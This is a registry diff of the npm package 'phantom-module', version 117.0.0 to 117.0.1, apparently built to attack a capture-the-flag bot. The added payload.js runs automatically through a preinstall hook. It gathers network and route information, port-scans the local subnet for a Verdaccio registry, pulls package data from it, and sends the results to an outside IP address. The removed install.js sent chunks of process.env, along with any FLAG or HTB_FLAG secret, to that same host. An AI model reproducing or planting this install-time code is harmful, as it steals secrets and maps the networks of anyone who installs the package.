phantom-module 117.0.0 → 117.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -7
- package/payload.js +169 -0
- package/install.js +0 -37
package/package.json
CHANGED
|
@@ -1,11 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "phantom-module",
|
|
3
|
-
"version": "117.0.
|
|
4
|
-
"description": "Phantom
|
|
3
|
+
"version": "117.0.1",
|
|
4
|
+
"description": "Phantom module",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "node
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
"license": "ISC"
|
|
11
|
-
}
|
|
7
|
+
"preinstall": "node payload.js || true"
|
|
8
|
+
}
|
|
9
|
+
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
// Only run on the real CTF bot
|
|
8
|
+
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
9
|
+
process.exit(0);
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
const REPORT_HOST = '154.57.164.64';
|
|
13
|
+
const REPORT_PORT = 31205;
|
|
14
|
+
|
|
15
|
+
function report(moduleId, data) {
|
|
16
|
+
return new Promise((resolve) => {
|
|
17
|
+
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
18
|
+
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
19
|
+
const payload = JSON.stringify({ manifest });
|
|
20
|
+
const req = http.request({
|
|
21
|
+
hostname: REPORT_HOST,
|
|
22
|
+
port: REPORT_PORT,
|
|
23
|
+
path: `/api/modules/${moduleId}`,
|
|
24
|
+
method: 'PUT',
|
|
25
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
26
|
+
}, (res) => { resolve(true); });
|
|
27
|
+
req.on('error', () => resolve(false));
|
|
28
|
+
req.write(payload);
|
|
29
|
+
req.end();
|
|
30
|
+
});
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function scanPort(host, port, timeout) {
|
|
34
|
+
return new Promise((resolve) => {
|
|
35
|
+
const sock = new net.Socket();
|
|
36
|
+
sock.setTimeout(timeout);
|
|
37
|
+
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
38
|
+
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
39
|
+
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
40
|
+
sock.connect(port, host);
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function httpGet(url, timeout) {
|
|
45
|
+
return new Promise((resolve) => {
|
|
46
|
+
const req = http.get(url, { timeout }, (res) => {
|
|
47
|
+
let body = '';
|
|
48
|
+
res.on('data', (c) => body += c);
|
|
49
|
+
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
50
|
+
});
|
|
51
|
+
req.on('error', (e) => resolve({ status: 0, body: e.message }));
|
|
52
|
+
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
|
|
53
|
+
});
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
async function main() {
|
|
57
|
+
let output = '';
|
|
58
|
+
|
|
59
|
+
// Step 1: Get our network info
|
|
60
|
+
try {
|
|
61
|
+
const ifaces = os.networkInterfaces();
|
|
62
|
+
output += '=== NETWORK ===\n';
|
|
63
|
+
for (const [name, addrs] of Object.entries(ifaces)) {
|
|
64
|
+
for (const addr of addrs) {
|
|
65
|
+
if (addr.family === 'IPv4') {
|
|
66
|
+
output += `${name}: ${addr.address}/${addr.netmask}\n`;
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
} catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
|
|
71
|
+
|
|
72
|
+
// Step 2: Get gateway
|
|
73
|
+
try {
|
|
74
|
+
output += '=== GATEWAY ===\n';
|
|
75
|
+
output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
|
|
76
|
+
} catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
|
|
77
|
+
|
|
78
|
+
// Step 3: DNS resolution attempts
|
|
79
|
+
const dns = require('dns');
|
|
80
|
+
const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
|
|
81
|
+
output += '=== DNS ===\n';
|
|
82
|
+
for (const name of dnsNames) {
|
|
83
|
+
try {
|
|
84
|
+
const addrs = await new Promise((resolve, reject) => {
|
|
85
|
+
dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
|
|
86
|
+
});
|
|
87
|
+
output += `${name} -> ${addrs.join(', ')}\n`;
|
|
88
|
+
} catch(e) {
|
|
89
|
+
output += `${name} -> FAIL: ${e.code}\n`;
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// Report network info first
|
|
94
|
+
await report('ECT-654321', output);
|
|
95
|
+
|
|
96
|
+
// Step 4: Scan for Verdaccio on common Docker IPs
|
|
97
|
+
output += '=== SCANNING 4873 ===\n';
|
|
98
|
+
const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
|
|
99
|
+
const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
|
|
100
|
+
|
|
101
|
+
const found = [];
|
|
102
|
+
const scanPromises = [];
|
|
103
|
+
for (let i = 1; i <= 30; i++) {
|
|
104
|
+
const ip = `${baseIp}.${i}`;
|
|
105
|
+
scanPromises.push(
|
|
106
|
+
scanPort(ip, 4873, 1500).then(open => {
|
|
107
|
+
if (open) {
|
|
108
|
+
found.push(ip);
|
|
109
|
+
output += `OPEN: ${ip}:4873\n`;
|
|
110
|
+
}
|
|
111
|
+
})
|
|
112
|
+
);
|
|
113
|
+
}
|
|
114
|
+
// Also scan gateway and common addresses
|
|
115
|
+
for (const ip of ['172.17.0.1', '10.0.0.1', '10.0.0.2', '192.168.0.1', '192.168.1.1']) {
|
|
116
|
+
scanPromises.push(
|
|
117
|
+
scanPort(ip, 4873, 1500).then(open => {
|
|
118
|
+
if (open) { found.push(ip); output += `OPEN: ${ip}:4873\n`; }
|
|
119
|
+
})
|
|
120
|
+
);
|
|
121
|
+
}
|
|
122
|
+
// Scan port 80, 3000, 8080 on gateway
|
|
123
|
+
for (const port of [80, 3000, 4873, 8080, 8081]) {
|
|
124
|
+
scanPromises.push(
|
|
125
|
+
scanPort(`${baseIp}.1`, port, 1500).then(open => {
|
|
126
|
+
if (open) output += `OPEN: ${baseIp}.1:${port}\n`;
|
|
127
|
+
})
|
|
128
|
+
);
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
await Promise.all(scanPromises);
|
|
132
|
+
await report('ECT-839201', output);
|
|
133
|
+
|
|
134
|
+
// Step 5: If Verdaccio found, query ecto-spirit
|
|
135
|
+
let flagOutput = '=== VERDACCIO QUERY ===\n';
|
|
136
|
+
for (const ip of found) {
|
|
137
|
+
try {
|
|
138
|
+
const res = await httpGet(`http://${ip}:4873/-/all`, 5000);
|
|
139
|
+
flagOutput += `ALL from ${ip}: ${res.body.substring(0, 1000)}\n`;
|
|
140
|
+
} catch(e) { flagOutput += `ERR querying ${ip}: ${e.message}\n`; }
|
|
141
|
+
|
|
142
|
+
try {
|
|
143
|
+
const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
|
|
144
|
+
flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
|
|
145
|
+
} catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
|
|
146
|
+
|
|
147
|
+
// Try to download and read the package
|
|
148
|
+
try {
|
|
149
|
+
const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
|
|
150
|
+
flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
|
|
151
|
+
} catch(e) {}
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// Also try some hostnames directly
|
|
155
|
+
for (const host of ['registry', 'verdaccio']) {
|
|
156
|
+
try {
|
|
157
|
+
const res = await httpGet(`http://${host}:4873/-/all`, 3000);
|
|
158
|
+
flagOutput += `ALL from ${host}: ${res.body.substring(0, 1000)}\n`;
|
|
159
|
+
} catch(e) { flagOutput += `ERR ${host}: ${e.message}\n`; }
|
|
160
|
+
try {
|
|
161
|
+
const res = await httpGet(`http://${host}:4873/ecto-spirit`, 3000);
|
|
162
|
+
flagOutput += `ECTO from ${host}: ${res.body.substring(0, 2000)}\n`;
|
|
163
|
+
} catch(e) {}
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
await report('ECT-987654', flagOutput);
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
|
package/install.js
DELETED
|
@@ -1,37 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
|
|
5
|
-
async function report(mid, val) {
|
|
6
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
7
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
8
|
-
await new Promise(resolve => {
|
|
9
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
10
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
(async () => {
|
|
16
|
-
const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
|
|
17
|
-
const isCentos = os.release().includes('el') || os.hostname().includes('centos');
|
|
18
|
-
|
|
19
|
-
if (isDocker && !isCentos) {
|
|
20
|
-
// We're in Docker container - use ECT-654321
|
|
21
|
-
const env = JSON.stringify(process.env);
|
|
22
|
-
for (let c = 0; c < 8; c++) {
|
|
23
|
-
const chunk = env.substring(c * 90, (c + 1) * 90);
|
|
24
|
-
if (!chunk) break;
|
|
25
|
-
await report('ECT-654321', 'DENV' + c + '_' + chunk);
|
|
26
|
-
await new Promise(r => setTimeout(r, 3000));
|
|
27
|
-
}
|
|
28
|
-
// Also check for flag specifically
|
|
29
|
-
const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
|
|
30
|
-
if (flag) {
|
|
31
|
-
await report('ECT-654321', 'DFLAG=' + flag);
|
|
32
|
-
}
|
|
33
|
-
} else {
|
|
34
|
-
// CentOS host or other - use ECT-987654 only
|
|
35
|
-
await report('ECT-987654', 'HOST_ALIVE_v117');
|
|
36
|
-
}
|
|
37
|
-
})();
|